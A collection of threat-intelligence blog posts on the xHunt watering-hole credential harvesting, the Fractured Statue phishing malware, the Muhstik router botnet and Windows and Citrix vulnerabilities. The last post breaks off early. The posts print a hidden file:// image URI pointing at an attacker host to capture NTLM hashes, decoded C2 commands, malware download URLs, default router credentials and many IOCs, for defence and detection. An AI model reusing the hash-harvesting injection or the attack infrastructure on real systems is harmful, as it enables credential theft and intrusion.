xHunt Campaign: New Watering Hole Identified for Credential Harvesting

Posted on by Brittany Barbehenn

Executive Summary

During the analysis of the xHunt campaign activities, we identified a Kuwait government organization’s webpage used as an apparent watering hole. The webpage contained a hidden image which was observed between June and December 2019, and referenced domains associated with malicious activity conducted by the xHunt campaign operators.

We believe that the same threat actors involved in the Hisoka attack campaign compromised and injected this HTML code into this website in an attempt to harvest credentials from the website’s visitors; specifically, gathering account names and password hashes. While we cannot confirm this, it is possible that the actors intended to crack these hashes to obtain the visitor’s passwords or using the hashes gathered to carry out relay attacks to gain access to additional systems.

If successful in harvesting account credentials, the compromised data has a plethora of uses for the attackers and can allow them to breach an organization to steal sensitive information. Furthermore, because they'd be using trusted credentials, it can allow attackers to go undetected for long periods of time, enabling them to infiltrate other parts of an organization and even implement backdoors, like RATs, to get back into a system even after being removed. This can result in significant damage to an organization over a prolonged period of time.

During this same timeframe, we observed an indication of DNS redirect activity on infrastructure used by these same operators. The domains observed in redirect activity primarily contained subdomains referencing an association with their organizational email servers further implying an interest in user credential harvesting.

Palo Alto Networks Next-Generation Firewall customers are protected from this threat. Our Threat Prevention Platform with WildFire detects activity associated with these threat groups while simultaneously updating the ‘malware’ category within the URL filtering for malicious and/or compromised domains that have been identified. AutoFocus customers can continue to track xHunt Campaign activity by using the xHunt tag.

Use of Responder on Kuwait Government Website

During open-source research of the xHunt Campaign, we identified a website belonging to a government organization in Kuwait referencing an image hosted on Hisoka associated command and control (C2) infrastructure. Beginning in May 2019, the image referenced the domain microsofte-update[.]com but changed to learn-service[.]com in December 2019. As of January 2020, this image is no longer referenced on the webpage.

We analyzed the HTML code on this website, shown in Figures 1 and 2, in order to try and better understand how this organization’s website would attempt to load an image from a domain known to host a C2 server used for malicious activity. Figure 1 shows the webpage’s attempt to load an image from the URI file:///\\microsofte-update[.]com\c$\. This URI does not display to the website visitor due to the “visibility:hidden” style attribute. The URI uses the “file” URI scheme with the fully qualified domain microsofte-update[.]com as the host and the “c$” as the path to the image. We found this path particularly interesting, as the HTML would attempt to load the “C:” drive file share as an image on the remote server. Logically, the legitimate inclusion of this code does not make sense as the “C:” drive itself would not load as an image. Figure 2 shows the December 2019 change in the URL hosting the image file, however, the rest of the code remained the same.

Figure 1. Image hosted on Kuwaiti government website Header in mid-2019 xHunt
Figure 1. Image hosted on Kuwait government website Header in mid-2019
Figure 2. Image hosted on Kuwaiti government website Footer in late-2019 xHunt
Figure 2. Image hosted on Kuwait government website Footer in late-2019

We believe that the actors likely included this line of code in an attempt to passively harvest account credentials in the form of NTLM hashes from the webpage’s visitors. Windows-based machines can use NTLM hashes when authenticating with a server. It is possible that when visiting the webpage containing this code, the user’s browser will attempt to load the image by accessing the file share on the remote server. To access this remote file share, Windows will perform an NTLM challenge-response authentication attempt. If the actor-controlled server specified in the URI is configured to emulate the NTLM handshake and the website’s visitor is on a local network that allows internal Windows networking protocols to reach the actor controlled server, such as Server Message Block (SMB) and NetBIOS, then the actors could capture NTLM hashes and other system information for that visitor. After capturing the NTLM hashes, the actor could crack the hash to obtain the user’s password or use the hash in a relay attack. This could also enable a full breach of an organization and allow the attackers to go undetected for long periods of time.

To test this theory, we set up the Responder tool on a server in our lab and configured the environment to have the domain microsofte-update[.]com resolve to the server. We then visited the website from another system in our lab that had the HTML code injected and observed the Responder tool gathering the domain name, user name, IP address and NTLM hashes from the system on which we visited the website, as shown in Figure 3.

Figure 3. Spiderlab Responder collection output xHunt
Figure 3. Spiderlab Responder collection output

DNS Redirects

During the analysis of the Responder collection activity on the Kuwait organization’s webpage, we observed an indication of DNS redirect activity in related infrastructure analysis within AutoFocus. As shown in Figure 4 below, in May 2019, the domain belonging to an organization within Kuwait began resolving to infrastructure within a netblock utilized by the xHunt operators during that same timeframe.

Figure 4. Example DNS redirect activity observed in April and May 2019 xHunt
Figure 4. Example DNS redirect activity observed in April and May 2019

Pivoting on this activity within RiskIQ PassiveTotal, we were able to identify an additional Government organization in Kuwait with the same resolution change in April 2019.

Figure 5. RiskIQ PassiveTotal indication of DNS redirect activity xHunt
Figure 5. RiskIQ PassiveTotal indication of DNS redirect activity

These changes led us to additional DNS Redirect infrastructure associated with the xHunt activities. We were able to identify DNS redirect activity surrounding both the 2018 Sakabota activity as well as the 2019 Hisoka activity. All redirects observed were associated with the Kuwait government and private sector organizations. Figure 6 shows a sample timeline of the activity where the top row shows the target organizations, the middle row shows the infrastructure change and the bottom row shows the related xHunt domains.

Figure 6. Sakabota and Hisoka DNS redirect activity Timeline xHunt
Figure 6. Sakabota and Hisoka DNS redirect activity Timeline

Similar to the activities reported by FireEye, Crowdstrike, and Cisco Talos, we too observed the creation of one or more Let’s Encrypt certificates created during the same time as the changes in domain hosting, all of which contained the name of the redirected domain. It is unknown whether or not the DNS redirects were successful in capturing visitor information.

This activity further led us to take a look at the infrastructure previously reported in DNS redirect activities. We identified several interesting resolutions within the same IP range although not a direct overlap with other xHunt infrastructure activities. One particular resolution of interest is with the Sakabota related domain sakabota[.]com. This domain resolved to the IP address 185.15.247[.]140 in September 2018. Between December 2017 and January 2018, this IP was used in DNS hijacking activities. We also noted both OilRig and Chafer resolutions within these same IP ranges over varying timeframes. Many of the redirected domains contained the subdomain mx, mail, or owa, indicating that these operators were likely targeting mail credentials. These infrastructure similarities are shown in the Appendix below.

Conclusion

The injected HTML code identified on the Kuwait organization’s website indicates a likely attempt to harvest credentials from the website’s visitors; specifically, gathering account names and password hashes. We believe that the same threat actors involved in the Hisoka attack campaign conducted these activities.

Similarities in infrastructure utilized by cyber threat operators targeting the Middle East are not new. Infrastructure has often been reused and even shared in the past. The overlaps in DNS redirect activities with the xHunt Campaign and known threat operators show a continued interest in this attack method within that region.

Our Threat Prevention Platform with WildFire detects activity associated with these threat groups while simultaneously updating the ‘malware’ category within the URL filtering for malicious and/or compromised domains that have been identified. AutoFocus customers can continue to track xHunt Campaign activity by using the xHunt tag.

Appendix

IP Address Date Campaign/Association
185.15.247[.]140 12/30/2017 - 1/15/2018 Widespread DNS Hijacking Activity
185.15.247[.]140 1/14/2017 Oilrig (cloudipnameserver[.]com)
185.15.247[.]140 9/9/2018 Sakabota (sakabota[.]com)
185.161.211[.]72 - 79 9/28/2018 - 10/26/2018 DNSpionage Campaign
185.161.211[.]86 10/4/2018 Oilrig (lowconnectivity[.]com)
185.161.209[.]147 11/28/2018 Widespread DNS Hijacking Activity
185.174.101[.]68 9/28/2018 - 10/11/2018 DNSpionage Campaign
185.174.101[.]66 8/6/2018 Oilrig (ffconnectivitycheck[.]com)
185.174.101[.]68 2/14/2019 DNSpionage Campaign
199.247.3[.]191 11/5/2018 Widespread DNS Hijacking Activity
199.247.3[.]186 - 198 5/6/2018 - 8/30/2018 Chafer (zombsroyale[.]io)
213.202.217[.]31 7/6/2018 Newly identified DNS redirect activity
213.202.217[.]0,22 6/1/2018, 12/24/2018 Sakabota (alforatsystem[.]com)
213.202.217[.]4 9/8/2018 Sakabota (firewallsupports[.]com)
213.202.217[.]9 11/18/2018 - 11/29/2018 Oilrig (googie[.]email)
91.132.139[.]200 4/16/2019, 5/12/2019 Newly identified DNS redirect activity
91.132.139[.]183 4/7/2019 Hisoka (microsofte-update[.]com)
192.99.138[.]4 4/17/2019 - 6/17/2019 Newly identified DNS redirect activity
192.99.138[.]4 4/24/2019 Sakabota (antivirus-update[.]top)
192.99.138[.]6 4/14/2019 - 5/4/2019 Sakabota (6google[.]com)
104.168.136[.]161 6/24/2019 Newly identified DNS redirect activity
104.168.244[.]213 7/14/2019 Hisoka (microsofte-update[.]com)
104.168.244[.]213 7/15/2019 - 7/18/2019 Hisoka (google-update[.]com)

Additional Resources

The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks

Posted on by Adrian McCabe

Executive Summary

Between July and October 2019, Unit 42 observed several malware families typically associated with the Konni Group (see Attribution section below for more details) used to primarily target a US government agency, using the ongoing and heightened geopolitical relations issues surrounding North Korea to lure targets into opening malicious email attachments. The malware families used in this campaign consisted mainly of malicious documents featuring CARROTBAT downloaders with SYSCON payloads, but also included a new malware downloader Unit 42 has dubbed CARROTBALL.

CARROTBALL, initially discovered in an attack during October 2019, is a simple FTP downloader utility which facilitates the installation of SYSCON, a full-featured Remote Access Trojan (RAT) which leverages FTP for Command and Control (C2). It was found embedded in a malicious Word document sent as a phishing lure to a US government agency and two non-US foreign nationals professionally associated with North Korea.

Throughout the course of the campaign, Unit 42 ultimately observed a total of six unique malicious document lures being sent as attachments from four unique Russian email addresses to 10 unique targets. The subject matter of the lures featured articles written in Russian pertaining to ongoing geopolitical relations issues surrounding North Korea. Of those malicious documents, five contained CARROTBAT downloaders, and one contained a CARROTBALL downloader. All malicious second stage payloads were SYSCON.

While this campaign does demonstrate some evolution in the actor’s tactics, techniques and procedures (TTPs) with the use of a new downloader family and new malicious code in the form of Word Document macros, the majority of its attributes bear a strong resemblance to the Fractured Block campaign previously reported by Unit 42 in November 2018. As such, Unit 42 has dubbed this campaign Fractured Statue. The Adversary Playbook for the activity described in this blog can be found here.

Figure 1. Fractured Statue Campaign Timeline

Opening Wave of Attacks

Between July 15th, 2019 and July 17th, 2019, spear phishing emails were sent to a total of five individuals at a US government agency from the email addresses 0tdelkorei@mail[.]ru and kargarnova@mail[.]ru. The spear phishing emails utilized three different email subjects with malicious macro documents attached with the same name; all file names were written in Russian. Further, all of the malicious documents contained articles written in Russian pertaining to ongoing geopolitical relations issues surrounding North Korea. The documents themselves were rather generic and had no embedded image enticements to enable macros. They did, however, leverage second-stage downloader components consistent with known CARROTBAT samples, and almost all of them featured SYSCON payloads. The first pages of each of these documents are shown below:

Figure 2. First page of initial malicious document observed in the campaign.

Associated with CARROTBAT.

SHA256 Subject Sender Translated Subject File name Translated File Name Initial C2 Domain
4c201f9949804e90f94fe91882cb8aad3e7daf496a7f4e792b9c7fed95ab0726 О ситуации на Корейском полуострове и перспекти вах диалога между США и К НДР 0tdelkorei@mail[.]ru On the situation on the Korean Peninsula and the prospects for dialogue between the USA and the PDR О ситуации на Корейском About the situation in Korean handicap.eu5[.]org

Table 1. First phishing attempt details.

Figure 3. First page of second malicious document observed in the campaign.

Associated with CARROTBAT.

SHA256 Subject Sender Translated Subject File name Translated File Name Initial C2 Domain
63c3817a5e9984aaf59e8a61ddd54793ffed11ac5becef438528447f6b2823af Продлится ли мирная пауз а на Корейском полуостро ве до 2024 года 0tdelkorei@mail[.]ru Will there be a peaceful pause on the Korean Peninsula until 2024? Продлится ли мирная пауз Will the peace breaks last handicap.eu5[.]org

Table 2. Second phishing attempt details.

Figure 4. First page of third malicious document observed in the campaign.

Associated with CARROTBAT.

SHA256 Subject Sender Translated Subject File name Translated File Name Initial C2 Domain
9dfe3afccada40a05b8b34901cb6a63686d209e2b92630596646dba8ee619225 Россия – КНДР – РК – тор гово-экономические связ и – инвестиции. kargarnova@mail[.]ru “Russia - DPRK - RK - trade and economic ties and - investments.” Россия – КНДР – РК – тор Russia - DPRK - RK - tor handicap.eu5[.]org

Table 3. Third phishing attempt details.

Second Wave

Roughly one month later, beginning on August 15, 2019 and ending on September 14, 2019, the second wave of CARROTBAT attacks occurred against three additional email addresses at the same government agency. One attack featured the same sender and malicious document but had a different subject and filename. The other two emails contained a previously unseen malicious document and featured a mix of Russian and English languages in both the document lures and the email correspondence.

SHA256 Subject Sender File name Initial C2 Domain
9dfe3afccada40a05b8b34901cb6a63686d209e2b92630596646dba8ee619225 Russia – North Korea – Republic of Korea – trade and economic relations – investments. kargarnova@mail[.]ru Russia – North Korea – Republic of Korea handicap.eu5[.]org

Table 4. Fourth phishing attempt details.

Figure 5. First page of fourth malicious document observed in the campaign. Associated with CARROTBAT.

SHA256 Subject Sender File name Initial C2 Domain
ed63e84985e1af9c4764e6b6ca513ec1c16840fb2534b86f95e31801468be67a Republic of Korea, the Russian Federation and the DPRK rusrnirasaf@yandex[.]ru Republic of Korea, the Russian Federation and the DPRK.doc panda2019.eu5[.]org

Table 5. Fifth phishing attempt details.

Figure 6. First page of the fifth malicious document observed in the campaign. Associated with CARROTBAT.

SHA256 Subject Sender Translated Subject File name Translated File Name Initial C2 Domain
a4f858c6b54683d3b7455c9adcf2bb6b7ddc1f4d35d0f8f38a0f131c60d1790f Корейский полуостров в глобальных и региональныхизмерениях. Безопасность ивозможностивзаимодействия kargarnova@mail[.]ru The Korean Peninsula in global and regional dimensions. Security and Interoperability материалы.doc materials.doc panda2019.eu5[.]org

Table 6. Sixth phishing attempt details.

Final Attempt

On October 29, 2019, one of the same individuals targeted in the second wave of attacks was targeted again with a malicious document, though in this attack the sender was different and the document lure did not feature CARROTBAT. Also of note is that the lure in this attack did feature a more traditional “enable macro” cover page, but was then followed by additional pages in Russian that thematically matched with the documents found in the rest of the campaign.

Figure 7. First page of sixth malicious document observed in the campaign. Associated with CARROTBALL.

SHA256 Subject Sender Translated Subject File name Translated File Name Initial C2 Domain
c1a9b923fc1f81d69bd0494d296c75887e4a0f9abfc1cdfbfa9c0f4ab6c95db7 Инвестиционный климат Северной Кореи. pryakhin20l0@mail[.]ru “The investment climate of North Korea.” Инвестиционный климат С Investment climate C downplease.c1[.]biz

Table 7. Seventh phishing attempt details.

Also interesting to note is that the sender added multiple recipients to their email; one was an individual at a US government agency, and the other two individuals were non-US foreign nationals professionally associated with ongoing activities in North Korea.

Technical Analysis

With the exception of the October 2019 attack, all of the malicious documents found in this campaign featured the following macro code snippet of interest:

Figure 8. Macro from malicious documents associated with CARROTBAT.

When executed, this code will:

  • Determine whether the victim’s host machine is running Windows with an x86 or x64 architecture.
  • Parse the contents of a corresponding textbox within the document and convert it to a command line argument specific to the Windows architecture on the victim’s machine.
  • Execute the command.
  • Clear the contents of the textboxes and save the document.

As previously mentioned, all samples featuring the macros above also featured CARROTBAT as a second stage downloader.

The October 2019 attack, however, differed significantly from the previous ones. Instead of reading from the contents of the document itself, the macros leveraged an embedded Windows executable in the form of hex bytes delimited via the ‘|’ character that ultimately acted as a dropper. When the macro was executed, the hex bytes were split, converted to binary, and dropped onto disk as an executable. The first few lines of this functionality are shown below:

Figure 9. Macro from malicious documents associated with CARROTBALL.

In this case, the dropped binary was a new type of downloader we have dubbed CARROTBALL. Its sole purpose was to serve as the main mechanism to facilitate the download and installation of the SYSCON backdoor. This is very similar to the CARROTBAT samples observed earlier on in this campaign and in the previous Fractured Block campaign (see technical analysis here). Additionally, of novel interest in this attack was the use of two separate FTP credential pairs to conduct active C2 operations. One credential pair was hardcoded in the dropped CARROTBALL binary and used to connect to the domain downplease.c1[.]biz to retrieve a CAB file renamed with a generic .dat extension.

Figure 10. Observed CARROTBALL FTP interaction.

When extracted, the .cab file was found to contain two malicious batch files, two malicious dlls (one of which contained a custom base64 alphabet), and a second domain (lookplease.c1[.]biz) with a set of FTP login credentials encoded in the custom base64 alphabet. The contents of the cab file are as follows:

Figure 11. Converted CAB file contents extracted from observed CARROTBALL FTP interaction.

SHA256 File Name Functionality
42e874d96cb9046cd4113d04c1c5463b1d43a4e828ca872de11c08cd314e650f alive.bat Install and establish persistence for core SYSCON backdoor component.
a761b47ab25dc2aa66b2f8ad4ab9636e40ebbcaf67f8a34f3524456c09f47d76 bpu.dll UPX-packed system process injection mechanism to gain execution of alive.bat. Reserved for use against non-admin users.
c3ac29e4b0c5e1a991d703769b94c0790fbf81fd38cf6acdb240c5246c2517ca mama.bat Batch file to delete assorted host based artifacts of malware. Deletes bpu.dll if running as Admin. Runs bpu.dll if not Admin.
ad63b8677c95792106f5af0b99af04e623146c6206125c93cf1ec9fbfeafaac9 syssec.bin Custom base64 encoded FTP credentials and C2 domain.
bdd90ed7e40c8324894efe9600f2b26fd18b22dcbf3c72548fee647a81d3c099 syssec.dll Core SYSCON backdoor component.

Table 8. CAB file contents.

While observing the malware’s interaction with the second domain, lookplease.c1[.]biz, two text files were subsequently identified containing text encoded with the same custom base64 alphabet used previously. When decoded, these files were found to contain additional commands to be executed on the infected host.

SHA256 File Name Raw FIle Contents Decoded Command
f3d3fa4c76adfabd239accb453512af33ae8667bf261758f402fff22d9df1f67 Gei All (0).txt Fg37eqye0ee2eqse0e3SeY8evg3Geqhecy3-eqAexf32eUAe cmd /c systeminfo
4b8790e9cb2f58293c28e695bec0a35e2ebd2da8e151c7e8c4513a1508c8bc94 Gei All (1).txt Fg37eqye0ee2eqse0e3GeqOevg31eqge/y3SeYyeZfeD cmd /c tasklist

Table 9. SYSCON C2 file attributes.

At the time of the activity, both downplease.c1[.]biz and lookplease.c1[.]biz resolved to the IP address 185.176.43[.]94.

Attribution

Konni: Malware or Actor?

Originally, the name “Konni” was used to refer to a Remote Access Trojan utilized in targeted campaigns with strong links to North Korean interests. However, as additional campaigns began to appear with strongly overlapping TTPs yet did not feature the Konni RAT, specifically, some industry researchers simply began to adopt the “Konni” moniker to refer to the actors behind the aggregated set of activity. Unit 42 has followed this trend, and now refers to the “Konni Group” as such.

Konni’s Ties to Fractured Statue

As prominently documented by Cisco Talos, the first Konni Group activity was a sustained information stealing/RAT distribution campaign spanning between 2014 and 2017. Throughout 2018, Unit 42 released several blogs on Konni Group activity, and subsequently identified two new malware families the group was using in the attacks, dubbed NOKKI and CARROTBAT, respectively. Now, in 2019, Unit 42’s continued observation of targeted CARROTBAT activity (in addition to the new malware CARROTBALL being used during the same campaign) could indicate that both are still in use by the Konni Group, as thematically linked elements of Konni Group TTPs include:

  • Targeting individuals/organizations who have interest in, are directly linked to, or conduct business in North Korea (corroborated by previous research by Unit 42).
  • Utilizing malicious document phishing lures containing subject matter pertaining to North Korea (corroborated by previous research by Unit 42).
  • Iteratively increasing the type and complexity of their payload delivery mechanisms (from their initial use of simple Base64 strings as reported by Trend Micro, then later leveraging CARROTBAT, and now leveraging CARROTBALL)

However, there are non-trivial obstacles to obtaining a high-confidence attribution to the Konni Group, namely the fact that previous blogs produced by Unit 42 and other researchers contain a great deal of technical detail about the group’s operations, and copycat actors may attempt to emulate previously observed TTPs to hinder attribution efforts or perform false-flag operations.

In light of these factors, Unit 42 assesses with moderate confidence that this activity is related to the Konni Group.

Conclusion

Overall, the Fractured Statue campaign provides clear evidence that the TTPS discovered in Fractured Block are still relevant, and that the group behind the attacks still appears to be active. Additionally, development and use of the new downloader, CARROTBALL, alongside the more commonly observed malware delivery mechanism, CARROTBAT, may indicate that the previous methods employed by the group to successfully infect their targets are becoming less effective. The Adversary Playbook for the activity described in this blog can be found here.

Palo Alto Networks customers are protected from this threat in the following ways:

* AutoFocus customers can track these samples with the FracturedStatue, SYSCON, KONNI, CARROTBAT and CARROTBALL tags.

* WildFire detects all files mentioned in this report with malicious verdicts.

* Cortex XDR blocks all of the files currently associated with the Fractured Block campaign.

IOCS:

Malicious Documents with CARROTBAT:

a4f858c6b54683d3b7455c9adcf2bb6b7ddc1f4d35d0f8f38a0f131c60d1790f

ed63e84985e1af9c4764e6b6ca513ec1c16840fb2534b86f95e31801468be67a

9dfe3afccada40a05b8b34901cb6a63686d209e2b92630596646dba8ee619225

4c201f9949804e90f94fe91882cb8aad3e7daf496a7f4e792b9c7fed95ab0726

63c3817a5e9984aaf59e8a61ddd54793ffed11ac5becef438528447f6b2823af

Malicious Document with CARROTBALL:

c1a9b923fc1f81d69bd0494d296c75887e4a0f9abfc1cdfbfa9c0f4ab6c95db7

CARROTBALL Downloader:

56924402a17393e542f6bf5b02cd030cc3af73bc2e1c894a133cebb2ca9405ee

SYSCON Samples:

ceb8093507911939a17c6c7b39475f5d4db70a9ed3b85ef34ff5e6372b20a73e

52ba17b90244a46e0ef2a653452b26bcb94f0a03b999c343301fef4e3c1ec5d2

4958fe8c106200da988c22957821513efd05803460e8e5fcfedb5cbca8d87a5b

7d2b1af486610a45f78a573af9a9ad00414680ff8e958cfb5437a1b140acb60c

bdd90ed7e40c8324894efe9600f2b26fd18b22dcbf3c72548fee647a81d3c099

Associated SYSCON C2 Files:

f3d3fa4c76adfabd239accb453512af33ae8667bf261758f402fff22d9df1f67

4b8790e9cb2f58293c28e695bec0a35e2ebd2da8e151c7e8c4513a1508c8bc94

ad63b8677c95792106f5af0b99af04e623146c6206125c93cf1ec9fbfeafaac9

c3ac29e4b0c5e1a991d703769b94c0790fbf81fd38cf6acdb240c5246c2517ca

a761b47ab25dc2aa66b2f8ad4ab9636e40ebbcaf67f8a34f3524456c09f47d76

42e874d96cb9046cd4113d04c1c5463b1d43a4e828ca872de11c08cd314e650f

Infrastructure:

Domain: handicap[.]eu5[.]org

IP Resolution: 69.197.143[.]12

Domain: panda2019[.]eu5[.]org

IP Resolution: 162.253.155[.]226

Domain: downplease[.]c1[.]biz

IP Resolution: 185.176.43[.]94

Domain: lookplease[.]c1[.]biz

IP Resolution: 185.176.43[.]94

Additional CARROTBALL Samples Identified on VirusTotal:

6fa895d0472e87dea3c5c5bd6774488d2d7fe409ff9ae83870be3740fdfd40e8

Domain: downyes[.]c1[.]biz

IP Resolution: Unavailable/unknown

989c042ab9a07b11026bce78dc091f25fa51cb5e310c668904afc7939b197624

Domain: downplease[.]c1[.]biz

IP Resolution: 185.176.43[.]94

 

Muhstik Botnet Attacks Tomato Routers to Harvest New IoT Devices

Posted on by Cong Zheng

Executive Summary

On Dec. 5, 2019, Unit 42 researchers discovered a new variant of the Muhstik botnet that adds a scanner to now attack Tomato routers for the first time by web authentication brute forcing.

Tomato is an open source alternative firmware for routers. Thanks to its stable, Linux-based, non-proprietary firmware, with VPN-passthrough capability and advanced quality of service (QoS) control, Tomato firmware is commonly installed by multiple router vendors and also installed manually by end users. By our investigation on Shodan, there are more than 4,600 Tomato routers exposed on the Internet.

The Muhstik botnet has been alive since March 2018, with a wormlike self-propagating capability to infect Linux servers and IoT devices. Muhstik uses multiple vulnerability exploits to infect Linux services, such as Weblogic, WordPress and Drupal. It also compromises IoT routers, such as the GPON home router and DD-WRT router. This new variant expands the botnet by infecting Tomato routers.

We have not found further malicious activities in Tomato routers after the Muhstik botnet harvests vulnerable routers, but from our understanding of the Muhstik botnet, Muhstik mainly launches cryptocurrency mining and DDoS attacks in IoT bots to earn profit. We will keep monitoring its Command and Control (C2) IRC channel.

In the following part, we have a detailed analysis of Muhstik botnet.

New Scanner for Tomato Routers

The new Muhstik variant scans Tomato routers on TCP port 8080 and bypasses the admin web authentication by default credentials bruteforcing. In Tomato routers, the default credentials are “admin:admin” and “root:admin”. We captured the Tomato router web authentication brute forcing traffic, in Figure 1.

Figure 1. Tomato router web authentication bruteforcing

To estimate the infected volume, we searched for fingerprints of Tomato routers in Shodan. As noted in Figure 2, there are about 4,600 potential victims on the Internet in total. This total is derived by including the number of TomatoUSB devices, which is used as a NAS server by combining the Tomato router and a USB drive.

Figure 2. Exposed Tomato & TomatoUSB routers on the Internet

Other Scanners

Scan #1: WordPress

The first module is a scanner to identify WordPress installed on a server. To perform the scanning, it sends a GET request to port 80/tcp or 8080/tcp, which are typical HTTP ports.

Figure 3. WordPress scanner used by daymon

Scan #2: Webuzo

The second module is a scanner to identify Webuzo solutions installed on a server. To accomplish the scanning, it sends a GET request to port 2004/tcp, which is Webuzo’s default port for administration. The request uses the path /install.php since it is the Webuzo installer file and by default a server running Webuzo will respond successfully to that request.

Scan #3: CVE-2019-2725 - WebLogic versions 10.3.6.0 and 12.1.3.0

The third module abuses a deserialization vulnerability present in Oracle WebLogic Server that leads to a Remote Code Execution. This vulnerability can be exploited remotely and without previous authentication. This exploit is sent to port 7001/tcp since its WebLogic Server’s default port.

We think that this URL hxxp://165.227.78[.]159/wl.php is used for the reporting purpose. Because, the same IP address 165.227.78[.]159 was previously used by Mushtik botnet as a reporting server to collect information of bots as we mentioned in a previous analysis of another Muhstik variant.

Muhstik Botnet Infrastructure

Figure 3 below shows the execution flow used by the updated Muhstik variant. Figure 4 shows this Muhstik botnet variant combining the modules to scan Linux servers running WordPress and Webuzo. Additionally, it implements modules to compromise WebLogic servers and Wi-Fi routers running Tomato firmware.

Figure 4. Muhstik infrastructure

Figure 5. Detailed scanning and exploiting behavior

Payloads of Muhstik Variants

We discovered a malicious binary called tty0. Since tty0 targets Tomato routers, it includes bash commands that can be executed in those systems (and other systems such as DD-WRT):

The first command is used to download a binary called nvr from http://y.fd6fq54s6df541q23sdxfg[.]eu/nvr

It also applies anti-analysis techniques by killing the strace and tcpdump process running in the system.

The nvr binary contains commands to download four additional binaries. These four binaries are IRC botnet variants, which work on ARM and MIPS architectures. We focused our analysis on binary Pty5, since it drops a binary called daymon, which is a scanner containing the new module targeting Tomato routers.

daymon was encrypted using Mirai’s encryption method, the table key is 0xEFBEADDE.

IRC C2

Once a device is compromised, it will send a connect command to an IRC server. The connect command includes a nickname (NICK) for the device in order to join the channel. This nickname contains the node hostname of the infected device that was previously obtained, shown in Figure 5.

Figure 6. Hostname harvesting

In Figure 6, it adds a username to the connect command.

The server responds with a PING command followed by a BotnetID. The infected device replies with a PONG followed by the BotnetID. Once a nickname has been crafted and assigned to the infected client, the IRC server accepts the bot as a client in the main channel. Then, the server sends a MOTD (Message of the Day) to the client. Consequently, the victim device will send a command to join a channel called ea, where the commands are sent to the clients that have joined the botnet. The botnet will harvest information of the infected device such as the public IP address in order to register the device into the botnet.

Figure 7. Joining the IRC channel

Conclusion

The new Muhstik botnet variant demonstrates that IoT botnet keeps expanding the botnet size by adding new scanners and exploits to harvest new IoT devices. Botnet developers are increasingly compromising IoT devices installed with the open source firmware, which often lack the security updates and maintenance patches necessary to keep devices safeguarded. End users should be cautious when installing open source firmware and must follow the security guidelines in the firmware manual.

Palo Alto Networks customers are protected from the Muhstik botnet by the following platform protections:

  1. Threat Prevention Signatures: 55570 that identifies the Weblogic (CVE-2019-2725) exploit.
  2. PAN-DB and DNS Security: blocks attackers’ C2 server URL and domain.
  3. WildFire and Antivirus: identifies and blocks Muhstik malware.

Appendix

C2

IRC servers:

46.149.233[.]35

68.66.253[.]100

185.61.149[.]22

Domains and URLs:

hxxp://y.fd6fq54s6df541q23sdxfg[.]eu/nvr

hxxp://159.89.156[.]190/.y/pty1

hxxp://159.89.156[.]190/.y/pty3

hxxp://159.89.156[.]190/.y/pty5

hxxp://159.89.156[.]190/.y/pty6

s.shadow.mods[.]net

Samples

Filename SHA256 File type
tty0 492780a9ac9f03305538b360d8a836c038da4920e8c1ae620988b120613c0b1f MIPS-ELF
nvr 2548f5b1613f6ebba2ff589c7b3416ccdd066b73644d4d212232beb1cecd9c31 Shell script
Pty1 a4ba50129408f9f52ddabe5bfd5bfb46aea0ca48fb616f495f2610b2f1729687 MIPS-ELF
Pty3 7325742dc0d939542d4c04ae2ae8f2792711203de50d3d16de3a9f83baaf5435 MIPS-ELF
Pty5 72123c51bcdf8c1784654d9e2470e69131872407408aa3cf775ea0ace87bb9a0 ARM-ELF
Pty6 cee20e79f20d35b95645f0cbda1897302e6e554c50f3e6754ce9293e3c1ba11c ARM-ELF
daymon dc52a1193ecf6096192f771ae663de6e0389840cb5ceb7b979091333ce6f7f02 ARM-ELF

Threat Brief: Windows CryptoAPI Spoofing Vulnerability CVE-2020-0601

Posted on by Brandon Young

Executive Summary

In January 2020, during the first Patch Tuesday of the new year, Microsoft released patches for 17 new vulnerabilities including one for CVE-2020-0601 known as Curveball. The vulnerability exists in the Windows CryptoAPI (Crypt32.dll) and specifically relates to the method used for Elliptic Curve Cryptography (ECC) certificate validation. At the time of release, Microsoft affirmed that they had not yet seen the vulnerability exploited in the wild (ITW). Researcher Tal Be’ery released a blog titled “Win 10 Crypto Vulnerability: Cheating in Elliptic Curve Billiard 2” that does a fantastic job at explaining this bug.

Mitigation Actions

The patch provided by Microsoft included the typical release of operating system patches, but this time a new Application Programming Interface (API) function was added. The new CveEventWrite function can be used to publish events when an attempt to exploit security vulnerabilities in user-mode applications occurs. Analysts can collect alerts on the Application Message “CVE-2020-0601” as a means to hunt for attempted exploitation of this vulnerability on patched systems.

We also recommend users of the Chrome browser to update to version 79.0.3945.130 as they recently released an update to fix the TLS issue.

Conclusion

Palo Alto Networks customers running Traps are now safeguarded from the Windows CryptoAPI Spoofing vulnerability, regardless of whether they are running an unpatched Microsoft Windows 10 system. Additionally, Palo Alto Networks offers multiple, additional complementary protections:

  • Cortex XDR and Traps can:
    • Stop the vulnerability exploit on patched and unpatched Windows 10 systems.
    • Block spoofed executables from running by detecting any attempt to exploit this vulnerability and terminating the process using Behavioral Threat Protection.
    • Alert on attempted exploitation against patched systems based on the usage of the CveEventWrite Event Application Message. The alert includes the file path of the malicious sample. 
    • To gain protection, customers should ensure they are running the latest agent version. 
  • WildFire can stop the exploit with static signature detections.
  • Next-Generation Firewalls can automatically stop sessions with certificates signed by an untrusted issuer, as were used in this threat, when applying the recommended configuration from our SSL decryption best practices.

As a member of the Microsoft Active Protections Program (MAPP) program, Palo Alto Networks received early details of the vulnerability, providing greater understanding of the threat, which helps us implement strong product coverage. As always, we recommend keeping your Microsoft products up to date with the latest patches to mitigate this vulnerability.

Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.

References:

CVE-2020-0601: The ChainOfFools/CurveBall Attack Explained POC

Win10 Crypto Vulnerability: Cheating in Elliptic Curve Billiards 2

NSA Cybersecurity Advisory

 

Exploits in the Wild for Citrix ADC and Citrix Gateway Directory Traversal Vulnerability CVE-2019-19781

Posted on by Yue Guan

Executive Summary

Just before the holidays, a vulnerability was identified in Citrix Application Delivery Controller (ADC) and Citrix Gateway which allowed remote attackers to easily send directory traversal requests, read sensitive information from system configuration files without the need for user authentication and remotely execute arbitrary code. This vulnerability affects all supported product versions and all supported platforms:

• Citrix ADC and Citrix Gateway version 13.0 all supported builds

• Citrix ADC and NetScaler Gateway version 12.1 all supported builds

• Citrix ADC and NetScaler Gateway version 12.0 all supported builds

• Citrix ADC and NetScaler Gateway version 11.1 all supported builds

